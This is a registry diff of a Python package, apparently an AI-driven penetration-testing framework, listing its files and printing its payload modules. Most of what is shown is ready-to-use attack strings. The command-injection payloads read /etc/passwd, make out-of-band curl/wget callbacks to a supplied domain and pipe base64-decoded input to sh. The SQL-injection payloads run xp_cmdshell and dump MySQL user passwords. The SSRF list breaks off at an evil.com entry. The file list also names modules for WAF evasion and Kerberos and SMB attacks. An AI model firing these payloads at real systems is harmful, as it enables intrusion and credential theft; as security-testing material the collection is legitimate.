aiptx 2.0.7__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- aipt_v2/__init__.py +110 -0
- aipt_v2/__main__.py +24 -0
- aipt_v2/agents/AIPTxAgent/__init__.py +10 -0
- aipt_v2/agents/AIPTxAgent/aiptx_agent.py +211 -0
- aipt_v2/agents/__init__.py +46 -0
- aipt_v2/agents/base.py +520 -0
- aipt_v2/agents/exploit_agent.py +688 -0
- aipt_v2/agents/ptt.py +406 -0
- aipt_v2/agents/state.py +168 -0
- aipt_v2/app.py +957 -0
- aipt_v2/browser/__init__.py +31 -0
- aipt_v2/browser/automation.py +458 -0
- aipt_v2/browser/crawler.py +453 -0
- aipt_v2/cli.py +2933 -0
- aipt_v2/compliance/__init__.py +71 -0
- aipt_v2/compliance/compliance_report.py +449 -0
- aipt_v2/compliance/framework_mapper.py +424 -0
- aipt_v2/compliance/nist_mapping.py +345 -0
- aipt_v2/compliance/owasp_mapping.py +330 -0
- aipt_v2/compliance/pci_mapping.py +297 -0
- aipt_v2/config.py +341 -0
- aipt_v2/core/__init__.py +43 -0
- aipt_v2/core/agent.py +630 -0
- aipt_v2/core/llm.py +395 -0
- aipt_v2/core/memory.py +305 -0
- aipt_v2/core/ptt.py +329 -0
- aipt_v2/database/__init__.py +14 -0
- aipt_v2/database/models.py +232 -0
- aipt_v2/database/repository.py +384 -0
- aipt_v2/docker/__init__.py +23 -0
- aipt_v2/docker/builder.py +260 -0
- aipt_v2/docker/manager.py +222 -0
- aipt_v2/docker/sandbox.py +371 -0
- aipt_v2/evasion/__init__.py +58 -0
- aipt_v2/evasion/request_obfuscator.py +272 -0
- aipt_v2/evasion/tls_fingerprint.py +285 -0
- aipt_v2/evasion/ua_rotator.py +301 -0
- aipt_v2/evasion/waf_bypass.py +439 -0
- aipt_v2/execution/__init__.py +23 -0
- aipt_v2/execution/executor.py +302 -0
- aipt_v2/execution/parser.py +544 -0
- aipt_v2/execution/terminal.py +337 -0
- aipt_v2/health.py +437 -0
- aipt_v2/intelligence/__init__.py +194 -0
- aipt_v2/intelligence/adaptation.py +474 -0
- aipt_v2/intelligence/auth.py +520 -0
- aipt_v2/intelligence/chaining.py +775 -0
- aipt_v2/intelligence/correlation.py +536 -0
- aipt_v2/intelligence/cve_aipt.py +334 -0
- aipt_v2/intelligence/cve_info.py +1111 -0
- aipt_v2/intelligence/knowledge_graph.py +590 -0
- aipt_v2/intelligence/learning.py +626 -0
- aipt_v2/intelligence/llm_analyzer.py +502 -0
- aipt_v2/intelligence/llm_tool_selector.py +518 -0
- aipt_v2/intelligence/payload_generator.py +562 -0
- aipt_v2/intelligence/rag.py +239 -0
- aipt_v2/intelligence/scope.py +442 -0
- aipt_v2/intelligence/searchers/__init__.py +5 -0
- aipt_v2/intelligence/searchers/exploitdb_searcher.py +523 -0
- aipt_v2/intelligence/searchers/github_searcher.py +467 -0
- aipt_v2/intelligence/searchers/google_searcher.py +281 -0
- aipt_v2/intelligence/tools.json +443 -0
- aipt_v2/intelligence/triage.py +670 -0
- aipt_v2/interactive_shell.py +559 -0
- aipt_v2/interface/__init__.py +5 -0
- aipt_v2/interface/cli.py +230 -0
- aipt_v2/interface/main.py +501 -0
- aipt_v2/interface/tui.py +1276 -0
- aipt_v2/interface/utils.py +583 -0
- aipt_v2/llm/__init__.py +39 -0
- aipt_v2/llm/config.py +26 -0
- aipt_v2/llm/llm.py +514 -0
- aipt_v2/llm/memory.py +214 -0
- aipt_v2/llm/request_queue.py +89 -0
- aipt_v2/llm/utils.py +89 -0
- aipt_v2/local_tool_installer.py +1467 -0
- aipt_v2/models/__init__.py +15 -0
- aipt_v2/models/findings.py +295 -0
- aipt_v2/models/phase_result.py +224 -0
- aipt_v2/models/scan_config.py +207 -0
- aipt_v2/monitoring/grafana/dashboards/aipt-dashboard.json +355 -0
- aipt_v2/monitoring/grafana/dashboards/default.yml +17 -0
- aipt_v2/monitoring/grafana/datasources/prometheus.yml +17 -0
- aipt_v2/monitoring/prometheus.yml +60 -0
- aipt_v2/orchestration/__init__.py +52 -0
- aipt_v2/orchestration/pipeline.py +398 -0
- aipt_v2/orchestration/progress.py +300 -0
- aipt_v2/orchestration/scheduler.py +296 -0
- aipt_v2/orchestrator.py +2427 -0
- aipt_v2/payloads/__init__.py +27 -0
- aipt_v2/payloads/cmdi.py +150 -0
- aipt_v2/payloads/sqli.py +263 -0
- aipt_v2/payloads/ssrf.py +204 -0
- aipt_v2/payloads/templates.py +222 -0
- aipt_v2/payloads/traversal.py +166 -0
- aipt_v2/payloads/xss.py +204 -0
- aipt_v2/prompts/__init__.py +60 -0
- aipt_v2/proxy/__init__.py +29 -0
- aipt_v2/proxy/history.py +352 -0
- aipt_v2/proxy/interceptor.py +452 -0
- aipt_v2/recon/__init__.py +44 -0
- aipt_v2/recon/dns.py +241 -0
- aipt_v2/recon/osint.py +367 -0
- aipt_v2/recon/subdomain.py +372 -0
- aipt_v2/recon/tech_detect.py +311 -0
- aipt_v2/reports/__init__.py +17 -0
- aipt_v2/reports/generator.py +313 -0
- aipt_v2/reports/html_report.py +378 -0
- aipt_v2/runtime/__init__.py +53 -0
- aipt_v2/runtime/base.py +30 -0
- aipt_v2/runtime/docker.py +401 -0
- aipt_v2/runtime/local.py +346 -0
- aipt_v2/runtime/tool_server.py +205 -0
- aipt_v2/runtime/vps.py +830 -0
- aipt_v2/scanners/__init__.py +28 -0
- aipt_v2/scanners/base.py +273 -0
- aipt_v2/scanners/nikto.py +244 -0
- aipt_v2/scanners/nmap.py +402 -0
- aipt_v2/scanners/nuclei.py +273 -0
- aipt_v2/scanners/web.py +454 -0
- aipt_v2/scripts/security_audit.py +366 -0
- aipt_v2/setup_wizard.py +941 -0
- aipt_v2/skills/__init__.py +80 -0
- aipt_v2/skills/agents/__init__.py +14 -0
- aipt_v2/skills/agents/api_tester.py +706 -0
- aipt_v2/skills/agents/base.py +477 -0
- aipt_v2/skills/agents/code_review.py +459 -0
- aipt_v2/skills/agents/security_agent.py +336 -0
- aipt_v2/skills/agents/web_pentest.py +818 -0
- aipt_v2/skills/prompts/__init__.py +647 -0
- aipt_v2/system_detector.py +539 -0
- aipt_v2/telemetry/__init__.py +7 -0
- aipt_v2/telemetry/tracer.py +347 -0
- aipt_v2/terminal/__init__.py +28 -0
- aipt_v2/terminal/executor.py +400 -0
- aipt_v2/terminal/sandbox.py +350 -0
- aipt_v2/tools/__init__.py +44 -0
- aipt_v2/tools/active_directory/__init__.py +78 -0
- aipt_v2/tools/active_directory/ad_config.py +238 -0
- aipt_v2/tools/active_directory/bloodhound_wrapper.py +447 -0
- aipt_v2/tools/active_directory/kerberos_attacks.py +430 -0
- aipt_v2/tools/active_directory/ldap_enum.py +533 -0
- aipt_v2/tools/active_directory/smb_attacks.py +505 -0
- aipt_v2/tools/agents_graph/__init__.py +19 -0
- aipt_v2/tools/agents_graph/agents_graph_actions.py +69 -0
- aipt_v2/tools/api_security/__init__.py +76 -0
- aipt_v2/tools/api_security/api_discovery.py +608 -0
- aipt_v2/tools/api_security/graphql_scanner.py +622 -0
- aipt_v2/tools/api_security/jwt_analyzer.py +577 -0
- aipt_v2/tools/api_security/openapi_fuzzer.py +761 -0
- aipt_v2/tools/browser/__init__.py +5 -0
- aipt_v2/tools/browser/browser_actions.py +238 -0
- aipt_v2/tools/browser/browser_instance.py +535 -0
- aipt_v2/tools/browser/tab_manager.py +344 -0
- aipt_v2/tools/cloud/__init__.py +70 -0
- aipt_v2/tools/cloud/cloud_config.py +273 -0
- aipt_v2/tools/cloud/cloud_scanner.py +639 -0
- aipt_v2/tools/cloud/prowler_tool.py +571 -0
- aipt_v2/tools/cloud/scoutsuite_tool.py +359 -0
- aipt_v2/tools/executor.py +307 -0
- aipt_v2/tools/parser.py +408 -0
- aipt_v2/tools/proxy/__init__.py +5 -0
- aipt_v2/tools/proxy/proxy_actions.py +103 -0
- aipt_v2/tools/proxy/proxy_manager.py +789 -0
- aipt_v2/tools/registry.py +196 -0
- aipt_v2/tools/scanners/__init__.py +343 -0
- aipt_v2/tools/scanners/acunetix_tool.py +712 -0
- aipt_v2/tools/scanners/burp_tool.py +631 -0
- aipt_v2/tools/scanners/config.py +156 -0
- aipt_v2/tools/scanners/nessus_tool.py +588 -0
- aipt_v2/tools/scanners/zap_tool.py +612 -0
- aipt_v2/tools/terminal/__init__.py +5 -0
- aipt_v2/tools/terminal/terminal_actions.py +37 -0
- aipt_v2/tools/terminal/terminal_manager.py +153 -0
- aipt_v2/tools/terminal/terminal_session.py +449 -0
- aipt_v2/tools/tool_processing.py +108 -0
- aipt_v2/utils/__init__.py +17 -0
- aipt_v2/utils/logging.py +202 -0
- aipt_v2/utils/model_manager.py +187 -0
- aipt_v2/utils/searchers/__init__.py +269 -0
- aipt_v2/verify_install.py +793 -0
- aiptx-2.0.7.dist-info/METADATA +345 -0
- aiptx-2.0.7.dist-info/RECORD +187 -0
- aiptx-2.0.7.dist-info/WHEEL +5 -0
- aiptx-2.0.7.dist-info/entry_points.txt +7 -0
- aiptx-2.0.7.dist-info/licenses/LICENSE +21 -0
- aiptx-2.0.7.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Payloads Module
|
|
3
|
+
|
|
4
|
+
Security testing payloads for various vulnerability classes:
|
|
5
|
+
- XSS (Cross-Site Scripting)
|
|
6
|
+
- SQL Injection
|
|
7
|
+
- Command Injection
|
|
8
|
+
- Path Traversal
|
|
9
|
+
- SSRF (Server-Side Request Forgery)
|
|
10
|
+
- Template Injection
|
|
11
|
+
"""
|
|
12
|
+
|
|
13
|
+
from .xss import XSSPayloads
|
|
14
|
+
from .sqli import SQLiPayloads
|
|
15
|
+
from .cmdi import CommandInjectionPayloads
|
|
16
|
+
from .traversal import PathTraversalPayloads
|
|
17
|
+
from .ssrf import SSRFPayloads
|
|
18
|
+
from .templates import TemplateInjectionPayloads
|
|
19
|
+
|
|
20
|
+
__all__ = [
|
|
21
|
+
"XSSPayloads",
|
|
22
|
+
"SQLiPayloads",
|
|
23
|
+
"CommandInjectionPayloads",
|
|
24
|
+
"PathTraversalPayloads",
|
|
25
|
+
"SSRFPayloads",
|
|
26
|
+
"TemplateInjectionPayloads",
|
|
27
|
+
]
|
aipt_v2/payloads/cmdi.py
ADDED
|
@@ -0,0 +1,150 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT Command Injection Payloads
|
|
3
|
+
|
|
4
|
+
OS command injection payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
from typing import Iterator
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
class CommandInjectionPayloads:
|
|
12
|
+
"""
|
|
13
|
+
Command injection payload generator.
|
|
14
|
+
|
|
15
|
+
Categories:
|
|
16
|
+
- Unix: Linux/Mac command injection
|
|
17
|
+
- Windows: Windows command injection
|
|
18
|
+
- Blind: Out-of-band detection
|
|
19
|
+
- Filter bypass: Evasion techniques
|
|
20
|
+
|
|
21
|
+
Example:
|
|
22
|
+
cmdi = CommandInjectionPayloads()
|
|
23
|
+
for payload in cmdi.unix():
|
|
24
|
+
test(payload)
|
|
25
|
+
"""
|
|
26
|
+
|
|
27
|
+
@classmethod
|
|
28
|
+
def unix(cls) -> Iterator[str]:
|
|
29
|
+
"""Unix/Linux command injection payloads"""
|
|
30
|
+
commands = ["id", "whoami", "uname -a", "cat /etc/passwd"]
|
|
31
|
+
|
|
32
|
+
for cmd in commands:
|
|
33
|
+
payloads = [
|
|
34
|
+
# Command separators
|
|
35
|
+
f"; {cmd}",
|
|
36
|
+
f"| {cmd}",
|
|
37
|
+
f"|| {cmd}",
|
|
38
|
+
f"& {cmd}",
|
|
39
|
+
f"&& {cmd}",
|
|
40
|
+
f"`{cmd}`",
|
|
41
|
+
f"$({cmd})",
|
|
42
|
+
|
|
43
|
+
# Newline
|
|
44
|
+
f"\n{cmd}",
|
|
45
|
+
f"\r\n{cmd}",
|
|
46
|
+
|
|
47
|
+
# With quotes
|
|
48
|
+
f"'; {cmd}; '",
|
|
49
|
+
f'"; {cmd}; "',
|
|
50
|
+
|
|
51
|
+
# Null byte
|
|
52
|
+
f"%00{cmd}",
|
|
53
|
+
]
|
|
54
|
+
yield from payloads
|
|
55
|
+
|
|
56
|
+
@classmethod
|
|
57
|
+
def windows(cls) -> Iterator[str]:
|
|
58
|
+
"""Windows command injection payloads"""
|
|
59
|
+
commands = ["whoami", "dir", "ipconfig", "type C:\\Windows\\win.ini"]
|
|
60
|
+
|
|
61
|
+
for cmd in commands:
|
|
62
|
+
payloads = [
|
|
63
|
+
f"& {cmd}",
|
|
64
|
+
f"&& {cmd}",
|
|
65
|
+
f"| {cmd}",
|
|
66
|
+
f"|| {cmd}",
|
|
67
|
+
f"\r\n{cmd}",
|
|
68
|
+
f"'; {cmd}; '",
|
|
69
|
+
]
|
|
70
|
+
yield from payloads
|
|
71
|
+
|
|
72
|
+
@classmethod
|
|
73
|
+
def blind_time(cls) -> Iterator[str]:
|
|
74
|
+
"""Time-based blind detection"""
|
|
75
|
+
payloads = [
|
|
76
|
+
# Unix sleep
|
|
77
|
+
"; sleep 5",
|
|
78
|
+
"| sleep 5",
|
|
79
|
+
"& sleep 5",
|
|
80
|
+
"`sleep 5`",
|
|
81
|
+
"$(sleep 5)",
|
|
82
|
+
"'; sleep 5; '",
|
|
83
|
+
|
|
84
|
+
# Windows timeout
|
|
85
|
+
"& timeout 5",
|
|
86
|
+
"& ping -n 5 127.0.0.1",
|
|
87
|
+
]
|
|
88
|
+
yield from payloads
|
|
89
|
+
|
|
90
|
+
@classmethod
|
|
91
|
+
def blind_dns(cls, domain: str) -> Iterator[str]:
|
|
92
|
+
"""DNS-based out-of-band detection"""
|
|
93
|
+
payloads = [
|
|
94
|
+
f"; nslookup {domain}",
|
|
95
|
+
f"| nslookup {domain}",
|
|
96
|
+
f"`nslookup {domain}`",
|
|
97
|
+
f"$(nslookup {domain})",
|
|
98
|
+
f"; dig {domain}",
|
|
99
|
+
f"; host {domain}",
|
|
100
|
+
f"; curl {domain}",
|
|
101
|
+
f"; wget {domain}",
|
|
102
|
+
]
|
|
103
|
+
yield from payloads
|
|
104
|
+
|
|
105
|
+
@classmethod
|
|
106
|
+
def filter_bypass(cls) -> Iterator[str]:
|
|
107
|
+
"""Filter bypass techniques"""
|
|
108
|
+
payloads = [
|
|
109
|
+
# Using wildcards
|
|
110
|
+
"/b?n/c?t /etc/passwd",
|
|
111
|
+
"/b??/cat /etc/passwd",
|
|
112
|
+
"/???/c?t /etc/passwd",
|
|
113
|
+
|
|
114
|
+
# Using environment variables
|
|
115
|
+
"$HOME",
|
|
116
|
+
"${HOME}",
|
|
117
|
+
|
|
118
|
+
# Hex encoding
|
|
119
|
+
"$'\\x69\\x64'", # id
|
|
120
|
+
|
|
121
|
+
# Using quotes
|
|
122
|
+
"i'd'",
|
|
123
|
+
'i"d"',
|
|
124
|
+
"wh''oami",
|
|
125
|
+
'wh""oami',
|
|
126
|
+
|
|
127
|
+
# Using backslash
|
|
128
|
+
"wh\\oami",
|
|
129
|
+
"c\\at /etc/passwd",
|
|
130
|
+
|
|
131
|
+
# Using $@
|
|
132
|
+
"wh$@oami",
|
|
133
|
+
"c$@at /etc/passwd",
|
|
134
|
+
|
|
135
|
+
# Base64
|
|
136
|
+
"echo aWQ= | base64 -d | sh",
|
|
137
|
+
|
|
138
|
+
# Variable concatenation
|
|
139
|
+
"a=who;b=ami;$a$b",
|
|
140
|
+
"a=c;b=at;$a$b /etc/passwd",
|
|
141
|
+
]
|
|
142
|
+
yield from payloads
|
|
143
|
+
|
|
144
|
+
@classmethod
|
|
145
|
+
def all(cls) -> Iterator[str]:
|
|
146
|
+
"""All command injection payloads"""
|
|
147
|
+
yield from cls.unix()
|
|
148
|
+
yield from cls.windows()
|
|
149
|
+
yield from cls.blind_time()
|
|
150
|
+
yield from cls.filter_bypass()
|
aipt_v2/payloads/sqli.py
ADDED
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT SQL Injection Payloads
|
|
3
|
+
|
|
4
|
+
SQL injection payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
from typing import Iterator
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
class SQLiPayloads:
|
|
12
|
+
"""
|
|
13
|
+
SQL injection payload generator.
|
|
14
|
+
|
|
15
|
+
Categories:
|
|
16
|
+
- Detection: Identify SQLi vulnerabilities
|
|
17
|
+
- Union-based: UNION SELECT extraction
|
|
18
|
+
- Error-based: Extract data via errors
|
|
19
|
+
- Blind: Boolean and time-based
|
|
20
|
+
- Stacked queries: Multiple statements
|
|
21
|
+
|
|
22
|
+
Example:
|
|
23
|
+
sqli = SQLiPayloads()
|
|
24
|
+
|
|
25
|
+
# Test for SQLi
|
|
26
|
+
for payload in sqli.detection():
|
|
27
|
+
if vulnerable(test(payload)):
|
|
28
|
+
exploit()
|
|
29
|
+
"""
|
|
30
|
+
|
|
31
|
+
@classmethod
|
|
32
|
+
def detection(cls) -> Iterator[str]:
|
|
33
|
+
"""Payloads to detect SQLi vulnerabilities"""
|
|
34
|
+
payloads = [
|
|
35
|
+
# Basic tests
|
|
36
|
+
"'",
|
|
37
|
+
'"',
|
|
38
|
+
"' OR '1'='1",
|
|
39
|
+
"' OR '1'='1'--",
|
|
40
|
+
"' OR '1'='1'#",
|
|
41
|
+
"' OR '1'='1'/*",
|
|
42
|
+
'" OR "1"="1',
|
|
43
|
+
'" OR "1"="1"--',
|
|
44
|
+
|
|
45
|
+
# Numeric
|
|
46
|
+
"1 OR 1=1",
|
|
47
|
+
"1 OR 1=1--",
|
|
48
|
+
"1' OR '1'='1",
|
|
49
|
+
|
|
50
|
+
# Comment-based
|
|
51
|
+
"'--",
|
|
52
|
+
"'#",
|
|
53
|
+
"'/*",
|
|
54
|
+
"' ;--",
|
|
55
|
+
|
|
56
|
+
# Tautology
|
|
57
|
+
"' OR 1=1--",
|
|
58
|
+
"' OR 'x'='x",
|
|
59
|
+
"' OR 1 --",
|
|
60
|
+
"') OR ('1'='1",
|
|
61
|
+
|
|
62
|
+
# Syntax error triggers
|
|
63
|
+
"'\"",
|
|
64
|
+
"' AND '1'='2",
|
|
65
|
+
"' AND '1'='1",
|
|
66
|
+
|
|
67
|
+
# NULL byte
|
|
68
|
+
"%00' OR '1'='1",
|
|
69
|
+
|
|
70
|
+
# Double URL encoding
|
|
71
|
+
"%2527",
|
|
72
|
+
]
|
|
73
|
+
yield from payloads
|
|
74
|
+
|
|
75
|
+
@classmethod
|
|
76
|
+
def union_based(cls, columns: int = 5) -> Iterator[str]:
|
|
77
|
+
"""UNION-based extraction payloads"""
|
|
78
|
+
null_cols = ",".join(["NULL"] * columns)
|
|
79
|
+
|
|
80
|
+
payloads = [
|
|
81
|
+
# Basic UNION
|
|
82
|
+
f"' UNION SELECT {null_cols}--",
|
|
83
|
+
f'" UNION SELECT {null_cols}--',
|
|
84
|
+
f"' UNION SELECT {null_cols}#",
|
|
85
|
+
f"' UNION ALL SELECT {null_cols}--",
|
|
86
|
+
|
|
87
|
+
# With information extraction
|
|
88
|
+
f"' UNION SELECT {','.join(['@@version' if i == 0 else 'NULL' for i in range(columns)])}--",
|
|
89
|
+
f"' UNION SELECT {','.join(['user()' if i == 0 else 'NULL' for i in range(columns)])}--",
|
|
90
|
+
f"' UNION SELECT {','.join(['database()' if i == 0 else 'NULL' for i in range(columns)])}--",
|
|
91
|
+
|
|
92
|
+
# Order by for column enumeration
|
|
93
|
+
"' ORDER BY 1--",
|
|
94
|
+
"' ORDER BY 2--",
|
|
95
|
+
"' ORDER BY 5--",
|
|
96
|
+
"' ORDER BY 10--",
|
|
97
|
+
"' ORDER BY 100--",
|
|
98
|
+
]
|
|
99
|
+
|
|
100
|
+
# Column count enumeration
|
|
101
|
+
for i in range(1, 20):
|
|
102
|
+
cols = ",".join(["NULL"] * i)
|
|
103
|
+
payloads.append(f"' UNION SELECT {cols}--")
|
|
104
|
+
|
|
105
|
+
yield from payloads
|
|
106
|
+
|
|
107
|
+
@classmethod
|
|
108
|
+
def error_based(cls) -> Iterator[str]:
|
|
109
|
+
"""Error-based extraction payloads"""
|
|
110
|
+
payloads = [
|
|
111
|
+
# MySQL
|
|
112
|
+
"' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
|
|
113
|
+
"' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version)))--",
|
|
114
|
+
"' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version)),1)--",
|
|
115
|
+
|
|
116
|
+
# PostgreSQL
|
|
117
|
+
"' AND 1=CAST((SELECT version()) AS INT)--",
|
|
118
|
+
|
|
119
|
+
# MSSQL
|
|
120
|
+
"' AND 1=CONVERT(INT,(SELECT @@version))--",
|
|
121
|
+
|
|
122
|
+
# Oracle
|
|
123
|
+
"' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT banner FROM v$version WHERE rownum=1))--",
|
|
124
|
+
]
|
|
125
|
+
yield from payloads
|
|
126
|
+
|
|
127
|
+
@classmethod
|
|
128
|
+
def blind_boolean(cls) -> Iterator[str]:
|
|
129
|
+
"""Boolean-based blind injection payloads"""
|
|
130
|
+
payloads = [
|
|
131
|
+
# True conditions
|
|
132
|
+
"' AND 1=1--",
|
|
133
|
+
"' AND 'a'='a",
|
|
134
|
+
"' AND 1--",
|
|
135
|
+
"' AND 1=1 AND ''='",
|
|
136
|
+
|
|
137
|
+
# False conditions
|
|
138
|
+
"' AND 1=2--",
|
|
139
|
+
"' AND 'a'='b",
|
|
140
|
+
"' AND 0--",
|
|
141
|
+
|
|
142
|
+
# Substring extraction
|
|
143
|
+
"' AND SUBSTRING(@@version,1,1)='5'--",
|
|
144
|
+
"' AND ASCII(SUBSTRING((SELECT database()),1,1))>64--",
|
|
145
|
+
|
|
146
|
+
# Conditional
|
|
147
|
+
"' AND IF(1=1,1,0)--",
|
|
148
|
+
"' AND (SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END)--",
|
|
149
|
+
]
|
|
150
|
+
yield from payloads
|
|
151
|
+
|
|
152
|
+
@classmethod
|
|
153
|
+
def blind_time(cls) -> Iterator[str]:
|
|
154
|
+
"""Time-based blind injection payloads"""
|
|
155
|
+
payloads = [
|
|
156
|
+
# MySQL
|
|
157
|
+
"' AND SLEEP(5)--",
|
|
158
|
+
"' AND BENCHMARK(5000000,MD5('test'))--",
|
|
159
|
+
"' OR IF(1=1,SLEEP(5),0)--",
|
|
160
|
+
|
|
161
|
+
# PostgreSQL
|
|
162
|
+
"'; SELECT pg_sleep(5)--",
|
|
163
|
+
"' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) END)--",
|
|
164
|
+
|
|
165
|
+
# MSSQL
|
|
166
|
+
"'; WAITFOR DELAY '0:0:5'--",
|
|
167
|
+
"' AND 1=(SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END WAITFOR DELAY '0:0:5')--",
|
|
168
|
+
|
|
169
|
+
# Oracle
|
|
170
|
+
"' AND 1=(SELECT CASE WHEN 1=1 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) END FROM dual)--",
|
|
171
|
+
]
|
|
172
|
+
yield from payloads
|
|
173
|
+
|
|
174
|
+
@classmethod
|
|
175
|
+
def stacked_queries(cls) -> Iterator[str]:
|
|
176
|
+
"""Stacked query payloads"""
|
|
177
|
+
payloads = [
|
|
178
|
+
# Information gathering
|
|
179
|
+
"'; SELECT @@version;--",
|
|
180
|
+
"'; SELECT user();--",
|
|
181
|
+
"'; SELECT database();--",
|
|
182
|
+
|
|
183
|
+
# MSSQL specific
|
|
184
|
+
"'; EXEC xp_cmdshell('whoami');--",
|
|
185
|
+
|
|
186
|
+
# PostgreSQL specific
|
|
187
|
+
"'; CREATE TABLE aipt_test(data text);--",
|
|
188
|
+
"'; COPY aipt_test FROM '/etc/passwd';--",
|
|
189
|
+
]
|
|
190
|
+
yield from payloads
|
|
191
|
+
|
|
192
|
+
@classmethod
|
|
193
|
+
def bypass_filters(cls) -> Iterator[str]:
|
|
194
|
+
"""Filter bypass payloads"""
|
|
195
|
+
payloads = [
|
|
196
|
+
# Case variations
|
|
197
|
+
"' oR '1'='1",
|
|
198
|
+
"' OR '1'='1",
|
|
199
|
+
"' Or '1'='1",
|
|
200
|
+
|
|
201
|
+
# Inline comments
|
|
202
|
+
"'/**/OR/**/1=1--",
|
|
203
|
+
"' UN/**/ION SEL/**/ECT NULL--",
|
|
204
|
+
"' UNION/**/SELECT/**/NULL--",
|
|
205
|
+
|
|
206
|
+
# Encoding
|
|
207
|
+
"' %4fR '1'='1", # OR
|
|
208
|
+
"' %55NION %53ELECT NULL--", # UNION SELECT
|
|
209
|
+
|
|
210
|
+
# Using functions
|
|
211
|
+
"' OR CHAR(49)=CHAR(49)--",
|
|
212
|
+
"' OR ASCII('1')=49--",
|
|
213
|
+
|
|
214
|
+
# Whitespace alternatives
|
|
215
|
+
"'\tOR\t'1'='1",
|
|
216
|
+
"'\nOR\n'1'='1",
|
|
217
|
+
"' OR\r\n'1'='1",
|
|
218
|
+
|
|
219
|
+
# No spaces
|
|
220
|
+
"'OR'1'='1'",
|
|
221
|
+
"'||'1'='1",
|
|
222
|
+
|
|
223
|
+
# Scientific notation
|
|
224
|
+
"' OR 1e0=1e0--",
|
|
225
|
+
]
|
|
226
|
+
yield from payloads
|
|
227
|
+
|
|
228
|
+
@classmethod
|
|
229
|
+
def mysql_specific(cls) -> Iterator[str]:
|
|
230
|
+
"""MySQL-specific payloads"""
|
|
231
|
+
payloads = [
|
|
232
|
+
# Version
|
|
233
|
+
"' UNION SELECT @@version--",
|
|
234
|
+
"' UNION SELECT VERSION()--",
|
|
235
|
+
|
|
236
|
+
# Users
|
|
237
|
+
"' UNION SELECT user FROM mysql.user--",
|
|
238
|
+
"' UNION SELECT CONCAT(user,':',password) FROM mysql.user--",
|
|
239
|
+
|
|
240
|
+
# Databases
|
|
241
|
+
"' UNION SELECT schema_name FROM information_schema.schemata--",
|
|
242
|
+
|
|
243
|
+
# Tables
|
|
244
|
+
"' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--",
|
|
245
|
+
|
|
246
|
+
# Columns
|
|
247
|
+
"' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--",
|
|
248
|
+
|
|
249
|
+
# File operations
|
|
250
|
+
"' UNION SELECT LOAD_FILE('/etc/passwd')--",
|
|
251
|
+
"' INTO OUTFILE '/tmp/test.txt'--",
|
|
252
|
+
]
|
|
253
|
+
yield from payloads
|
|
254
|
+
|
|
255
|
+
@classmethod
|
|
256
|
+
def all(cls) -> Iterator[str]:
|
|
257
|
+
"""All SQLi payloads"""
|
|
258
|
+
yield from cls.detection()
|
|
259
|
+
yield from cls.union_based()
|
|
260
|
+
yield from cls.error_based()
|
|
261
|
+
yield from cls.blind_boolean()
|
|
262
|
+
yield from cls.blind_time()
|
|
263
|
+
yield from cls.bypass_filters()
|
aipt_v2/payloads/ssrf.py
ADDED
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
"""
|
|
2
|
+
AIPT SSRF Payloads
|
|
3
|
+
|
|
4
|
+
Server-Side Request Forgery payloads for security testing.
|
|
5
|
+
"""
|
|
6
|
+
from __future__ import annotations
|
|
7
|
+
|
|
8
|
+
from typing import Iterator
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
class SSRFPayloads:
|
|
12
|
+
"""
|
|
13
|
+
SSRF payload generator.
|
|
14
|
+
|
|
15
|
+
Categories:
|
|
16
|
+
- Localhost: 127.0.0.1 variations
|
|
17
|
+
- Cloud metadata: AWS, GCP, Azure
|
|
18
|
+
- Internal networks: Common RFC1918 ranges
|
|
19
|
+
- Protocol smuggling: gopher, file, etc.
|
|
20
|
+
|
|
21
|
+
Example:
|
|
22
|
+
ssrf = SSRFPayloads()
|
|
23
|
+
for payload in ssrf.localhost():
|
|
24
|
+
test(f"/fetch?url={payload}")
|
|
25
|
+
"""
|
|
26
|
+
|
|
27
|
+
@classmethod
|
|
28
|
+
def localhost(cls) -> Iterator[str]:
|
|
29
|
+
"""Localhost bypass payloads"""
|
|
30
|
+
payloads = [
|
|
31
|
+
# Standard
|
|
32
|
+
"http://127.0.0.1",
|
|
33
|
+
"http://localhost",
|
|
34
|
+
"http://127.0.0.1:80",
|
|
35
|
+
"http://127.0.0.1:443",
|
|
36
|
+
"http://127.0.0.1:22",
|
|
37
|
+
"http://127.0.0.1:8080",
|
|
38
|
+
|
|
39
|
+
# IPv6
|
|
40
|
+
"http://[::1]",
|
|
41
|
+
"http://[0000::1]",
|
|
42
|
+
|
|
43
|
+
# Alternative representations
|
|
44
|
+
"http://127.1",
|
|
45
|
+
"http://127.0.1",
|
|
46
|
+
"http://2130706433", # Decimal
|
|
47
|
+
"http://0x7f000001", # Hex
|
|
48
|
+
"http://017700000001", # Octal
|
|
49
|
+
|
|
50
|
+
# Redirects
|
|
51
|
+
"http://spoofed.burpcollaborator.net",
|
|
52
|
+
|
|
53
|
+
# Enclosed brackets
|
|
54
|
+
"http://[127.0.0.1]",
|
|
55
|
+
|
|
56
|
+
# URL encoding
|
|
57
|
+
"http://%31%32%37%2e%30%2e%30%2e%31",
|
|
58
|
+
|
|
59
|
+
# With credentials
|
|
60
|
+
"http://127.0.0.1@evil.com",
|
|
61
|
+
